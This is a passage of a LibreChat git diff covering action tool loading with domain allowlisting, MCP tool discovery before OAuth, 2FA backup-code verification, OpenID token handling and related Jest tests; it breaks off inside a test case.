+/** + * Loads action tools for event-driven execution. + * @param {Object} params + * @param {ServerRequest} params.req - The request object + * @param {ServerResponse} params.res - The response object + * @param {Object} params.agent - The agent object + * @param {Object} params.appConfig - App configuration + * @param {string|null} params.streamId - Stream ID + * @param {string[]} params.actionToolNames - Action tool names to load + * @returns {Promise} Loaded action tools + */ +async function loadActionToolsForExecution({ + req, + res, + agent, + appConfig, + streamId, + actionToolNames, +}) { + const loadedActionTools = []; + + const actionSets = (await loadActionSets({ agent_id: agent.id })) ?? []; + if (actionSets.length === 0) { + return loadedActionTools; + } + + const processedActionSets = new Map(); + const domainMap = new Map(); + const allowedDomains = appConfig?.actions?.allowedDomains; + + for (const action of actionSets) { + const domain = await domainParser(action.metadata.domain, true); + domainMap.set(domain, action); + + const isDomainAllowed = await isActionDomainAllowed(action.metadata.domain, allowedDomains); + if (!isDomainAllowed) { + logger.warn( + `[Actions] Domain "${action.metadata.domain}" not in allowedDomains. ` + + `Add it to librechat.yaml actions.allowedDomains to enable this action.`, + ); + continue; + } + + const validationResult = validateAndParseOpenAPISpec(action.metadata.raw_spec); + if (!validationResult.spec || !validationResult.serverUrl) { + logger.warn(`[Actions] Invalid OpenAPI spec for domain: ${domain}`); + continue; + } + + const domainValidation = validateActionDomain( + action.metadata.domain, + validationResult.serverUrl, + ); + if (!domainValidation.isValid) { + logger.error(`Domain mismatch in stored action: ${domainValidation.message}`, { + userId: req.user.id, + agent_id: agent.id, + action_id: action.action_id, + }); + continue; + } + + const encrypted = { + oauth_client_id: action.metadata.oauth_client_id, + oauth_client_secret: action.metadata.oauth_client_secret, + }; + + const decryptedAction = { ...action }; + decryptedAction.metadata = await decryptMetadata(action.metadata); + + const { requestBuilders, functionSignatures, zodSchemas } = openapiToFunction( + validationResult.spec, + true, + ); + + processedActionSets.set(domain, { + action: decryptedAction, + requestBuilders, + functionSignatures, + zodSchemas, + encrypted, + }); + } + + const domainSeparatorRegex = new RegExp(actionDomainSeparator, 'g'); + for (const toolName of actionToolNames) { + let currentDomain = ''; + for (const domain of domainMap.keys()) { + const normalizedDomain = domain.replace(domainSeparatorRegex, '_'); + if (toolName.includes(normalizedDomain)) { + currentDomain = domain; + break; + } + } + + if (!currentDomain || !processedActionSets.has(currentDomain)) { + continue; + } + + const { action, encrypted, zodSchemas, requestBuilders, functionSignatures } = + processedActionSets.get(currentDomain); + const normalizedDomain = currentDomain.replace(domainSeparatorRegex, '_'); + const functionName = toolName.replace(`${actionDelimiter}${normalizedDomain}`, ''); + const functionSig = functionSignatures.find((sig) => sig.name === functionName); + const requestBuilder = requestBuilders[functionName]; + const zodSchema = zodSchemas[functionName]; + + if (!requestBuilder) { + continue; + } + + const tool = await createActionTool({ + userId: req.user.id, + res, + action, + streamId, + zodSchema, + encrypted, + requestBuilder, + name: toolName, + description: functionSig?.description ?? '', + useSSRFProtection: !Array.isArray(allowedDomains) || allowedDomains.length === 0, + }); + + if (!tool) { + logger.warn(`[Actions] Failed to create action tool: ${toolName}`); + continue; + } + + loadedActionTools.push(tool); + } + + return loadedActionTools; +} + module.exports = { + loadTools, + isBuiltInTool, getToolkitKey, loadAgentTools, + loadToolsForExecution, processRequiredActions, }; diff --git a/api/server/services/Tools/mcp.js b/api/server/services/Tools/mcp.js index 33e67c8238..7589043e10 100644 --- a/api/server/services/Tools/mcp.js +++ b/api/server/services/Tools/mcp.js @@ -1,11 +1,14 @@ const { logger } = require('@librechat/data-schemas'); const { CacheKeys, Constants } = require('librechat-data-provider'); +const { getMCPManager, getMCPServersRegistry, getFlowStateManager } = require('~/config'); const { findToken, createToken, updateToken, deleteTokens } = require('~/models'); -const { getMCPManager, getFlowStateManager } = require('~/config'); const { updateMCPServerTools } = require('~/server/services/Config'); const { getLogStores } = require('~/cache'); /** + * Reinitializes an MCP server connection and discovers available tools. + * When OAuth is required, uses discovery mode to list tools without full authentication + * (per MCP spec, tool listing should be possible without auth). * @param {Object} params * @param {IUser} params.user - The user from the request object. * @param {string} params.serverName - The name of the MCP server @@ -14,7 +17,7 @@ const { getLogStores } = require('~/cache'); * @param {boolean} [params.forceNew] * @param {number} [params.connectionTimeout] * @param {FlowStateManager} [params.flowManager] - * @param {(authURL: string) => Promise} [params.oauthStart] + * @param {(authURL: string) => Promise} [params.oauthStart] * @param {Record>} [params.userMCPAuthMap] */ async function reinitMCPServer({ @@ -36,10 +39,39 @@ async function reinitMCPServer({ let tools = null; let oauthRequired = false; let oauthUrl = null; + try { + const registry = getMCPServersRegistry(); + const serverConfig = await registry.getServerConfig(serverName, user?.id); + if (serverConfig?.inspectionFailed) { + logger.info( + `[MCP Reinitialize] Server ${serverName} had failed inspection, attempting reinspection`, + ); + try { + const storageLocation = serverConfig.dbId ? 'DB' : 'CACHE'; + await registry.reinspectServer(serverName, storageLocation, user?.id); + logger.info(`[MCP Reinitialize] Reinspection succeeded for server: ${serverName}`); + } catch (reinspectError) { + logger.error( + `[MCP Reinitialize] Reinspection failed for server ${serverName}:`, + reinspectError, + ); + return { + availableTools: null, + success: false, + message: `MCP server '${serverName}' is still unreachable`, + oauthRequired: false, + serverName, + oauthUrl: null, + tools: null, + }; + } + } + const customUserVars = userMCPAuthMap?.[`${Constants.mcp_prefix}${serverName}`]; const flowManager = _flowManager ?? getFlowStateManager(getLogStores(CacheKeys.FLOWS)); const mcpManager = getMCPManager(); + const tokenMethods = { findToken, updateToken, createToken, deleteTokens }; const oauthStart = _oauthStart ?? @@ -57,15 +89,10 @@ async function reinitMCPServer({ oauthStart, serverName, flowManager, + tokenMethods, returnOnOAuth, customUserVars, connectionTimeout, - tokenMethods: { - findToken, - updateToken, - createToken, - deleteTokens, - }, }); logger.info(`[MCP Reinitialize] Successfully established connection for ${serverName}`); @@ -84,9 +111,33 @@ async function reinitMCPServer({ if (isOAuthError || oauthRequired || isOAuthFlowInitiated) { logger.info( - `[MCP Reinitialize] OAuth required for ${serverName} (isOAuthError: ${isOAuthError}, oauthRequired: ${oauthRequired}, isOAuthFlowInitiated: ${isOAuthFlowInitiated})`, + `[MCP Reinitialize] OAuth required for ${serverName}, attempting tool discovery without auth`, ); oauthRequired = true; + + try { + const discoveryResult = await mcpManager.discoverServerTools({ + user, + signal, + serverName, + flowManager, + tokenMethods, + oauthStart, + customUserVars, + connectionTimeout, + }); + + if (discoveryResult.tools && discoveryResult.tools.length > 0) { + tools = discoveryResult.tools; + logger.info( + `[MCP Reinitialize] Discovered ${tools.length} tools for ${serverName} without full auth`, + ); + } + } catch (discoveryErr) { + logger.debug( + `[MCP Reinitialize] Tool discovery failed for ${serverName}: ${discoveryErr?.message ?? String(discoveryErr)}`, + ); + } } else { logger.error( `[MCP Reinitialize] Error initializing MCP server ${serverName} for user:`, @@ -97,6 +148,9 @@ async function reinitMCPServer({ if (connection && !oauthRequired) { tools = await connection.fetchTools(); + } + + if (tools && tools.length > 0) { availableTools = await updateMCPServerTools({ userId: user.id, serverName, @@ -109,6 +163,9 @@ async function reinitMCPServer({ ); const getResponseMessage = () => { + if (oauthRequired && tools && tools.length > 0) { + return `MCP server '${serverName}' tools discovered, OAuth required for execution`; + } if (oauthRequired) { return `MCP server '${serverName}' ready for OAuth authentication`; } @@ -120,19 +177,25 @@ async function reinitMCPServer({ const result = { availableTools, - success: Boolean((connection && !oauthRequired) || (oauthRequired && oauthUrl)), + success: Boolean( + (connection && !oauthRequired) || + (oauthRequired && oauthUrl) || + (tools && tools.length > 0), + ), message: getResponseMessage(), oauthRequired, serverName, oauthUrl, tools, }; + logger.debug(`[MCP Reinitialize] Response for ${serverName}:`, { success: result.success, oauthRequired: result.oauthRequired, oauthUrl: result.oauthUrl ? 'present' : null, toolsCount: tools?.length ?? 0, }); + return result; } catch (error) { logger.error( diff --git a/api/server/services/__tests__/ToolService.spec.js b/api/server/services/__tests__/ToolService.spec.js new file mode 100644 index 0000000000..c44298b09c --- /dev/null +++ b/api/server/services/__tests__/ToolService.spec.js @@ -0,0 +1,202 @@ +const { + Constants, + AgentCapabilities, + defaultAgentCapabilities, +} = require('librechat-data-provider'); + +/** + * Tests for ToolService capability checking logic. + * The actual loadAgentTools function has many dependencies, so we test + * the capability checking logic in isolation. + */ +describe('ToolService - Capability Checking', () => { + describe('checkCapability logic', () => { + /** + * Simulates the checkCapability function from loadAgentTools + */ + const createCheckCapability = (enabledCapabilities, logger = { warn: jest.fn() }) => { + return (capability) => { + const enabled = enabledCapabilities.has(capability); + if (!enabled) { + const isToolCapability = [ + AgentCapabilities.file_search, + AgentCapabilities.execute_code, + AgentCapabilities.web_search, + ].includes(capability); + const suffix = isToolCapability ? ' despite configured tool.' : '.'; + logger.warn(`Capability "${capability}" disabled${suffix}`); + } + return enabled; + }; + }; + + it('should return true when capability is enabled', () => { + const enabledCapabilities = new Set([AgentCapabilities.deferred_tools]); + const checkCapability = createCheckCapability(enabledCapabilities); + + expect(checkCapability(AgentCapabilities.deferred_tools)).toBe(true); + }); + + it('should return false when capability is not enabled', () => { + const enabledCapabilities = new Set([]); + const checkCapability = createCheckCapability(enabledCapabilities); + + expect(checkCapability(AgentCapabilities.deferred_tools)).toBe(false); + }); + + it('should log warning with "despite configured tool" for tool capabilities', () => { + const logger = { warn: jest.fn() }; + const enabledCapabilities = new Set([]); + const checkCapability = createCheckCapability(enabledCapabilities, logger); + + checkCapability(AgentCapabilities.file_search); + expect(logger.warn).toHaveBeenCalledWith(expect.stringContaining('despite configured tool')); + + logger.warn.mockClear(); + checkCapability(AgentCapabilities.execute_code); + expect(logger.warn).toHaveBeenCalledWith(expect.stringContaining('despite configured tool')); + + logger.warn.mockClear(); + checkCapability(AgentCapabilities.web_search); + expect(logger.warn).toHaveBeenCalledWith(expect.stringContaining('despite configured tool')); + }); + + it('should log warning without "despite configured tool" for non-tool capabilities', () => { + const logger = { warn: jest.fn() }; + const enabledCapabilities = new Set([]); + const checkCapability = createCheckCapability(enabledCapabilities, logger); + + checkCapability(AgentCapabilities.deferred_tools); + expect(logger.warn).toHaveBeenCalledWith( + expect.stringContaining('Capability "deferred_tools" disabled.'), + ); + expect(logger.warn).not.toHaveBeenCalledWith( + expect.stringContaining('despite configured tool'), + ); + + logger.warn.mockClear(); + checkCapability(AgentCapabilities.tools); + expect(logger.warn).toHaveBeenCalledWith( + expect.stringContaining('Capability "tools" disabled.'), + ); + expect(logger.warn).not.toHaveBeenCalledWith( + expect.stringContaining('despite configured tool'), + ); + + logger.warn.mockClear(); + checkCapability(AgentCapabilities.actions); + expect(logger.warn).toHaveBeenCalledWith( + expect.stringContaining('Capability "actions" disabled.'), + ); + }); + + it('should not log warning when capability is enabled', () => { + const logger = { warn: jest.fn() }; + const enabledCapabilities = new Set([ + AgentCapabilities.deferred_tools, + AgentCapabilities.file_search, + ]); + const checkCapability = createCheckCapability(enabledCapabilities, logger); + + checkCapability(AgentCapabilities.deferred_tools); + checkCapability(AgentCapabilities.file_search); + + expect(logger.warn).not.toHaveBeenCalled(); + }); + }); + + describe('defaultAgentCapabilities', () => { + it('should include deferred_tools capability by default', () => { + expect(defaultAgentCapabilities).toContain(AgentCapabilities.deferred_tools); + }); + + it('should include all expected default capabilities', () => { + expect(defaultAgentCapabilities).toContain(AgentCapabilities.execute_code); + expect(defaultAgentCapabilities).toContain(AgentCapabilities.file_search); + expect(defaultAgentCapabilities).toContain(AgentCapabilities.web_search); + expect(defaultAgentCapabilities).toContain(AgentCapabilities.artifacts); + expect(defaultAgentCapabilities).toContain(AgentCapabilities.actions); + expect(defaultAgentCapabilities).toContain(AgentCapabilities.context); + expect(defaultAgentCapabilities).toContain(AgentCapabilities.tools); + expect(defaultAgentCapabilities).toContain(AgentCapabilities.chain); + expect(defaultAgentCapabilities).toContain(AgentCapabilities.ocr); + }); + }); + + describe('userMCPAuthMap gating', () => { + /** + * Simulates the guard condition used in both loadToolDefinitionsWrapper + * and loadAgentTools to decide whether getUserMCPAuthMap should be called. + */ + const shouldFetchMCPAuth = (tools) => + tools?.some((t) => t.includes(Constants.mcp_delimiter)) ?? false; + + it('should return true when agent has MCP tools', () => { + const tools = ['web_search', `search${Constants.mcp_delimiter}my-mcp-server`, 'calculator']; + expect(shouldFetchMCPAuth(tools)).toBe(true); + }); + + it('should return false when agent has no MCP tools', () => { + const tools = ['web_search', 'calculator', 'code_interpreter']; + expect(shouldFetchMCPAuth(tools)).toBe(false); + }); + + it('should return false when tools is empty', () => { + expect(shouldFetchMCPAuth([])).toBe(false); + }); + + it('should return false when tools is undefined', () => { + expect(shouldFetchMCPAuth(undefined)).toBe(false); + }); + + it('should return false when tools is null', () => { + expect(shouldFetchMCPAuth(null)).toBe(false); + }); + + it('should detect MCP tools with different server names', () => { + const tools = [ + `listFiles${Constants.mcp_delimiter}file-server`, + `query${Constants.mcp_delimiter}db-server`, + ]; + expect(shouldFetchMCPAuth(tools)).toBe(true); + }); + + it('should return true even when only one tool is MCP', () => { + const tools = [ + 'web_search', + 'calculator', + 'code_interpreter', + `echo${Constants.mcp_delimiter}test-server`, + ]; + expect(shouldFetchMCPAuth(tools)).toBe(true); + }); + }); + + describe('deferredToolsEnabled integration', () => { + it('should correctly determine deferredToolsEnabled from capabilities set', () => { + const createCheckCapability = (enabledCapabilities) => { + return (capability) => enabledCapabilities.has(capability); + }; + + // When deferred_tools is in capabilities + const withDeferred = new Set([AgentCapabilities.deferred_tools, AgentCapabilities.tools]); + const checkWithDeferred = createCheckCapability(withDeferred); + expect(checkWithDeferred(AgentCapabilities.deferred_tools)).toBe(true); + + // When deferred_tools is NOT in capabilities + const withoutDeferred = new Set([AgentCapabilities.tools, AgentCapabilities.actions]); + const checkWithoutDeferred = createCheckCapability(withoutDeferred); + expect(checkWithoutDeferred(AgentCapabilities.deferred_tools)).toBe(false); + }); + + it('should use defaultAgentCapabilities when no capabilities configured', () => { + // Simulates the fallback behavior in loadAgentTools + const endpointsConfig = {}; // No capabilities configured + const enabledCapabilities = new Set( + endpointsConfig?.capabilities ?? defaultAgentCapabilities, + ); + + expect(enabledCapabilities.has(AgentCapabilities.deferred_tools)).toBe(true); + }); + }); +}); diff --git a/api/server/services/initializeMCPs.spec.js b/api/server/services/initializeMCPs.spec.js index e37e12c356..d72fda0e00 100644 --- a/api/server/services/initializeMCPs.spec.js +++ b/api/server/services/initializeMCPs.spec.js @@ -3,8 +3,8 @@ * * These tests verify that MCPServersRegistry and MCPManager are ALWAYS initialized, * even when no explicitly configured MCP servers exist. This is critical for the - * "Dynamic MCP Server Management" feature (v0.8.2-rc1) which allows users to - * add MCP servers via the UI without requiring explicit configuration. + * "Dynamic MCP Server Management" feature (introduced in `0.8.2-rc1` release) which + * allows users to add MCP servers via the UI without requiring explicit configuration. * * Bug fixed: Previously, MCPManager was only initialized when mcpServers existed * in librechat.yaml, causing "MCPManager has not been initialized" errors when diff --git a/api/server/services/start/tools.js b/api/server/services/start/tools.js index dd2d69b274..8dc8475f7f 100644 --- a/api/server/services/start/tools.js +++ b/api/server/services/start/tools.js @@ -107,22 +107,33 @@ function loadAndFormatTools({ directory, adminFilter = [], adminIncluded = [] }) }, {}); } +/** + * Checks if a schema is a Zod schema by looking for the _def property + * @param {unknown} schema - The schema to check + * @returns {boolean} True if it's a Zod schema + */ +function isZodSchema(schema) { + return schema && typeof schema === 'object' && '_def' in schema; +} + /** * Formats a `StructuredTool` instance into a format that is compatible * with OpenAI's ChatCompletionFunctions. It uses the `zodToJsonSchema` * function to convert the schema of the `StructuredTool` into a JSON * schema, which is then used as the parameters for the OpenAI function. + * If the schema is already a JSON schema, it is used directly. * * @param {StructuredTool} tool - The StructuredTool to format. * @returns {FunctionTool} The OpenAI Assistant Tool. */ function formatToOpenAIAssistantTool(tool) { + const parameters = isZodSchema(tool.schema) ? zodToJsonSchema(tool.schema) : tool.schema; return { type: Tools.function, [Tools.function]: { name: tool.name, description: tool.description, - parameters: zodToJsonSchema(tool.schema), + parameters, }, }; } diff --git a/api/server/services/twoFactorService.js b/api/server/services/twoFactorService.js index cce24e2322..313c557133 100644 --- a/api/server/services/twoFactorService.js +++ b/api/server/services/twoFactorService.js @@ -153,9 +153,11 @@ const generateBackupCodes = async (count = 10) => { * @param {Object} params * @param {Object} params.user * @param {string} params.backupCode + * @param {boolean} [params.persist=true] - Whether to persist the used-mark to the database. + * Pass `false` when the caller will immediately overwrite `backupCodes` (e.g. re-enrollment). * @returns {Promise} */ -const verifyBackupCode = async ({ user, backupCode }) => { +const verifyBackupCode = async ({ user, backupCode, persist = true }) => { if (!backupCode || !user || !Array.isArray(user.backupCodes)) { return false; } @@ -165,17 +167,50 @@ const verifyBackupCode = async ({ user, backupCode }) => { (codeObj) => codeObj.codeHash === hashedInput && !codeObj.used, ); - if (matchingCode) { + if (!matchingCode) { + return false; + } + + if (persist) { const updatedBackupCodes = user.backupCodes.map((codeObj) => codeObj.codeHash === hashedInput && !codeObj.used ? { ...codeObj, used: true, usedAt: new Date() } : codeObj, ); - // Update the user record with the marked backup code. await updateUser(user._id, { backupCodes: updatedBackupCodes }); - return true; } - return false; + return true; +}; + +/** + * Verifies a user's identity via TOTP token or backup code. + * @param {Object} params + * @param {Object} params.user - The user document (must include totpSecret and backupCodes). + * @param {string} [params.token] - A 6-digit TOTP token. + * @param {string} [params.backupCode] - An 8-character backup code. + * @param {boolean} [params.persistBackupUse=true] - Whether to mark the backup code as used in the DB. + * @returns {Promise<{ verified: boolean, status?: number, message?: string }>} + */ +const verifyOTPOrBackupCode = async ({ user, token, backupCode, persistBackupUse = true }) => { + if (!token && !backupCode) { + return { verified: false, status: 400 }; + } + + if (token) { + const secret = await getTOTPSecret(user.totpSecret); + if (!secret) { + return { verified: false, status: 400, message: '2FA secret is missing or corrupted' }; + } + const ok = await verifyTOTP(secret, token); + return ok + ? { verified: true } + : { verified: false, status: 401, message: 'Invalid token or backup code' }; + } + + const ok = await verifyBackupCode({ user, backupCode, persist: persistBackupUse }); + return ok + ? { verified: true } + : { verified: false, status: 401, message: 'Invalid token or backup code' }; }; /** @@ -213,11 +248,12 @@ const generate2FATempToken = (userId) => { }; module.exports = { - generateTOTPSecret, - generateTOTP, - verifyTOTP, + verifyOTPOrBackupCode, + generate2FATempToken, generateBackupCodes, + generateTOTPSecret, verifyBackupCode, getTOTPSecret, - generate2FATempToken, + generateTOTP, + verifyTOTP, }; diff --git a/api/server/socialLogins.js b/api/server/socialLogins.js index cf67fa9436..a84c33bd52 100644 --- a/api/server/socialLogins.js +++ b/api/server/socialLogins.js @@ -1,7 +1,7 @@ const passport = require('passport'); const session = require('express-session'); -const { isEnabled } = require('@librechat/api'); const { CacheKeys } = require('librechat-data-provider'); +const { isEnabled, shouldUseSecureCookie } = require('@librechat/api'); const { logger, DEFAULT_SESSION_EXPIRY } = require('@librechat/data-schemas'); const { openIdJwtLogin, @@ -15,38 +15,6 @@ const { } = require('~/strategies'); const { getLogStores } = require('~/cache'); -/** - * Determines if secure cookies should be used. - * Only use secure cookies in production when not on localhost. - * @returns {boolean} - */ -function shouldUseSecureCookie() { - const isProduction = process.env.NODE_ENV === 'production'; - const domainServer = process.env.DOMAIN_SERVER || ''; - - let hostname = ''; - if (domainServer) { - try { - const normalized = /^https?:\/\//i.test(domainServer) - ? domainServer - : `http://${domainServer}`; - const url = new URL(normalized); - hostname = (url.hostname || '').toLowerCase(); - } catch { - // Fallback: treat DOMAIN_SERVER directly as a hostname-like string - hostname = domainServer.toLowerCase(); - } - } - - const isLocalhost = - hostname === 'localhost' || - hostname === '127.0.0.1' || - hostname === '::1' || - hostname.endsWith('.localhost'); - - return isProduction && !isLocalhost; -} - /** * Configures OpenID Connect for the application. * @param {Express.Application} app - The Express application instance. diff --git a/api/server/utils/import/fork.js b/api/server/utils/import/fork.js index c4ce8cb5d4..f896de378c 100644 --- a/api/server/utils/import/fork.js +++ b/api/server/utils/import/fork.js @@ -358,16 +358,15 @@ function splitAtTargetLevel(messages, targetMessageId) { * @param {object} params - The parameters for duplicating the conversation. * @param {string} params.userId - The ID of the user duplicating the conversation. * @param {string} params.conversationId - The ID of the conversation to duplicate. + * @param {string} [params.title] - Optional title override for the duplicate. * @returns {Promise<{ conversation: TConversation, messages: TMessage[] }>} The duplicated conversation and messages. */ -async function duplicateConversation({ userId, conversationId }) { - // Get original conversation +async function duplicateConversation({ userId, conversationId, title }) { const originalConvo = await getConvo(userId, conversationId); if (!originalConvo) { throw new Error('Conversation not found'); } - // Get original messages const originalMessages = await getMessages({ user: userId, conversationId, @@ -383,14 +382,11 @@ async function duplicateConversation({ userId, conversationId }) { cloneMessagesWithTimestamps(messagesToClone, importBatchBuilder); - const result = importBatchBuilder.finishConversation( - originalConvo.title, - new Date(), - originalConvo, - ); + const duplicateTitle = title || originalConvo.title; + const result = importBatchBuilder.finishConversation(duplicateTitle, new Date(), originalConvo); await importBatchBuilder.saveBatch(); logger.debug( - `user: ${userId} | New conversation "${originalConvo.title}" duplicated from conversation ID ${conversationId}`, + `user: ${userId} | New conversation "${duplicateTitle}" duplicated from conversation ID ${conversationId}`, ); const conversation = await getConvo(userId, result.conversation.conversationId); diff --git a/api/server/utils/import/importConversations.js b/api/server/utils/import/importConversations.js index d9e4d4332d..e56176c609 100644 --- a/api/server/utils/import/importConversations.js +++ b/api/server/utils/import/importConversations.js @@ -1,7 +1,10 @@ const fs = require('fs').promises; +const { resolveImportMaxFileSize } = require('@librechat/api'); const { logger } = require('@librechat/data-schemas'); const { getImporter } = require('./importers'); +const maxFileSize = resolveImportMaxFileSize(); + /** * Job definition for importing a conversation. * @param {{ filepath, requestUserId }} job - The job object. @@ -11,11 +14,10 @@ const importConversations = async (job) => { try { logger.debug(`user: ${requestUserId} | Importing conversation(s) from file...`); - /* error if file is too large */ const fileInfo = await fs.stat(filepath); - if (fileInfo.size > process.env.CONVERSATION_IMPORT_MAX_FILE_SIZE_BYTES) { + if (fileInfo.size > maxFileSize) { throw new Error( - `File size is ${fileInfo.size} bytes. It exceeds the maximum limit of ${process.env.CONVERSATION_IMPORT_MAX_FILE_SIZE_BYTES} bytes.`, + `File size is ${fileInfo.size} bytes. It exceeds the maximum limit of ${maxFileSize} bytes.`, ); } diff --git a/api/server/utils/import/importers.spec.js b/api/server/utils/import/importers.spec.js index a695a31555..2ddfa76658 100644 --- a/api/server/utils/import/importers.spec.js +++ b/api/server/utils/import/importers.spec.js @@ -1277,12 +1277,9 @@ describe('processAssistantMessage', () => { results.push(duration); }); - // Check if processing time increases exponentially - // In a ReDoS vulnerability, time would roughly double with each size increase - for (let i = 1; i < results.length; i++) { - const ratio = results[i] / results[i - 1]; - expect(ratio).toBeLessThan(3); // Allow for CI environment variability while still catching ReDoS - console.log(`Size ${sizes[i]} processing time ratio: ${ratio}`); + // Each size should complete well under 100ms; a ReDoS would cause exponential blowup + for (let i = 0; i < results.length; i++) { + expect(results[i]).toBeLessThan(100); } // Also test with the exact payload from the security report diff --git a/api/strategies/index.js b/api/strategies/index.js index 725e04224a..9a1c58ad38 100644 --- a/api/strategies/index.js +++ b/api/strategies/index.js @@ -1,14 +1,14 @@ -const appleLogin = require('./appleStrategy'); +const { setupOpenId, getOpenIdConfig, getOpenIdEmail } = require('./openidStrategy'); +const openIdJwtLogin = require('./openIdJwtStrategy'); +const facebookLogin = require('./facebookStrategy'); +const discordLogin = require('./discordStrategy'); const passportLogin = require('./localStrategy'); const googleLogin = require('./googleStrategy'); const githubLogin = require('./githubStrategy'); -const discordLogin = require('./discordStrategy'); -const facebookLogin = require('./facebookStrategy'); -const { setupOpenId, getOpenIdConfig } = require('./openidStrategy'); -const jwtLogin = require('./jwtStrategy'); -const ldapLogin = require('./ldapStrategy'); const { setupSaml } = require('./samlStrategy'); -const openIdJwtLogin = require('./openIdJwtStrategy'); +const appleLogin = require('./appleStrategy'); +const ldapLogin = require('./ldapStrategy'); +const jwtLogin = require('./jwtStrategy'); module.exports = { appleLogin, @@ -20,6 +20,7 @@ module.exports = { facebookLogin, setupOpenId, getOpenIdConfig, + getOpenIdEmail, ldapLogin, setupSaml, openIdJwtLogin, diff --git a/api/strategies/openIdJwtStrategy.js b/api/strategies/openIdJwtStrategy.js index df318ca30e..83a40bf948 100644 --- a/api/strategies/openIdJwtStrategy.js +++ b/api/strategies/openIdJwtStrategy.js @@ -5,6 +5,7 @@ const { HttpsProxyAgent } = require('https-proxy-agent'); const { SystemRoles } = require('librechat-data-provider'); const { isEnabled, findOpenIDUser, math } = require('@librechat/api'); const { Strategy: JwtStrategy, ExtractJwt } = require('passport-jwt'); +const { getOpenIdEmail } = require('./openidStrategy'); const { updateUser, findUser } = require('~/models'); /** @@ -53,7 +54,7 @@ const openIdJwtLogin = (openIdConfig) => { const { user, error, migration } = await findOpenIDUser({ findUser, - email: payload?.email, + email: payload ? getOpenIdEmail(payload) : undefined, openidId: payload?.sub, idOnTheSource: payload?.oid, strategyName: 'openIdJwtLogin', @@ -84,19 +85,21 @@ const openIdJwtLogin = (openIdConfig) => { /** Read tokens from session (server-side) to avoid large cookie issues */ const sessionTokens = req.session?.openidTokens; let accessToken = sessionTokens?.accessToken; + let idToken = sessionTokens?.idToken; let refreshToken = sessionTokens?.refreshToken; /** Fallback to cookies for backward compatibility */ - if (!accessToken || !refreshToken) { + if (!accessToken || !refreshToken || !idToken) { const cookieHeader = req.headers.cookie; const parsedCookies = cookieHeader ? cookies.parse(cookieHeader) : {}; accessToken = accessToken || parsedCookies.openid_access_token; + idToken = idToken || parsedCookies.openid_id_token; refreshToken = refreshToken || parsedCookies.refreshToken; } user.federatedTokens = { access_token: accessToken || rawToken, - id_token: rawToken, + id_token: idToken, refresh_token: refreshToken, expires_at: payload.exp, }; diff --git a/api/strategies/openIdJwtStrategy.spec.js b/api/strategies/openIdJwtStrategy.spec.js new file mode 100644 index 0000000000..79af848046 --- /dev/null +++ b/api/strategies/openIdJwtStrategy.spec.js @@ -0,0 +1,347 @@ +const { SystemRoles } = require('librechat-data-provider'); + +// --- Capture the verify callback from JwtStrategy --- +let capturedVerifyCallback; +jest.mock('passport-jwt', () => ({ + Strategy: jest.fn((_opts, verifyCallback) => { + capturedVerifyCallback = verifyCallback; + return { name: 'jwt' }; + }), + ExtractJwt: { + fromAuthHeaderAsBearerToken: jest.fn(() => 'mock-extractor'), + }, +})); +jest.mock('jwks-rsa', () => ({ + passportJwtSecret: jest.fn(() => 'mock-secret-provider'), +})); +jest.mock('https-proxy-agent', () => ({ + HttpsProxyAgent: jest.fn(), +})); +jest.mock('@librechat/data-schemas', () => ({ + logger: { info: jest.fn(), warn: jest.fn(), debug: jest.fn(), error: jest.fn() }, +})); +jest.mock('@librechat/api', () => ({ + isEnabled: jest.fn(() => false), + findOpenIDUser: jest.fn(), + math: jest.fn((val, fallback) => fallback), +})); +jest.mock('~/models', () => ({ + findUser: jest.fn(), + updateUser: jest.fn(), +})); +jest.mock('~/server/services/Files/strategies', () => ({ + getStrategyFunctions: jest.fn(() => ({ + saveBuffer: jest.fn().mockResolvedValue('/fake/path/to/avatar.png'), + })), +})); +jest.mock('~/server/services/Config', () => ({ + getAppConfig: jest.fn().mockResolvedValue({}), +})); +jest.mock('~/cache/getLogStores', () => + jest.fn().mockReturnValue({ get: jest.fn(), set: jest.fn() }), +); + +const { findOpenIDUser } = require('@librechat/api'); +const openIdJwtLogin = require('./openIdJwtStrategy'); +const { findUser, updateUser } = require('~/models'); + +// Helper: build a mock openIdConfig +const mockOpenIdConfig = { + serverMetadata: () => ({ jwks_uri: 'https://example.com/.well-known/jwks.json' }), +}; + +// Helper: invoke the captured verify callback +async function invokeVerify(req, payload) { + return new Promise((resolve, reject) => { + capturedVerifyCallback(req, payload, (err, user, info) => { + if (err) { + return reject(err); + } + resolve({ user, info }); + }); + }); +} + +describe('openIdJwtStrategy – token source handling', () => { + const baseUser = { + _id: { toString: () => 'user-abc' }, + role: SystemRoles.USER, + provider: 'openid', + }; + + const payload = { sub: 'oidc-123', email: 'test@example.com', exp: 9999999999 }; + + beforeEach(() => { + jest.clearAllMocks(); + findOpenIDUser.mockResolvedValue({ user: { ...baseUser }, error: null, migration: false }); + updateUser.mockResolvedValue({}); + + // Initialize the strategy so capturedVerifyCallback is set + openIdJwtLogin(mockOpenIdConfig); + }); + + it('should read all tokens from session when available', async () => { + const req = { + headers: { authorization: 'Bearer raw-bearer-token' }, + session: { + openidTokens: { + accessToken: 'session-access', + idToken: 'session-id', + refreshToken: 'session-refresh', + }, + }, + }; + + const { user } = await invokeVerify(req, payload); + + expect(user.federatedTokens).toEqual({ + access_token: 'session-access', + id_token: 'session-id', + refresh_token: 'session-refresh', + expires_at: payload.exp, + }); + }); + + it('should fall back to cookies when session is absent', async () => { + const req = { + headers: { + authorization: 'Bearer raw-bearer-token', + cookie: + 'openid_access_token=cookie-access; openid_id_token=cookie-id; refreshToken=cookie-refresh', + }, + }; + + const { user } = await invokeVerify(req, payload); + + expect(user.federatedTokens).toEqual({ + access_token: 'cookie-access', + id_token: 'cookie-id', + refresh_token: 'cookie-refresh', + expires_at: payload.exp, + }); + }); + + it('should fall back to cookie for idToken only when session lacks it', async () => { + const req = { + headers: { + authorization: 'Bearer raw-bearer-token', + cookie: 'openid_id_token=cookie-id', + }, + session: { + openidTokens: { + accessToken: 'session-access', + // idToken intentionally missing + refreshToken: 'session-refresh', + }, + }, + }; + + const { user } = await invokeVerify(req, payload); + + expect(user.federatedTokens).toEqual({ + access_token: 'session-access', + id_token: 'cookie-id', + refresh_token: 'session-refresh', + expires_at: payload.exp, + }); + }); + + it('should use raw Bearer token as access_token fallback when neither session nor cookie has one', async () => { + const req = { + headers: { + authorization: 'Bearer raw-bearer-token', + cookie: 'openid_id_token=cookie-id; refreshToken=cookie-refresh', + }, + }; + + const { user } = await invokeVerify(req, payload); + + 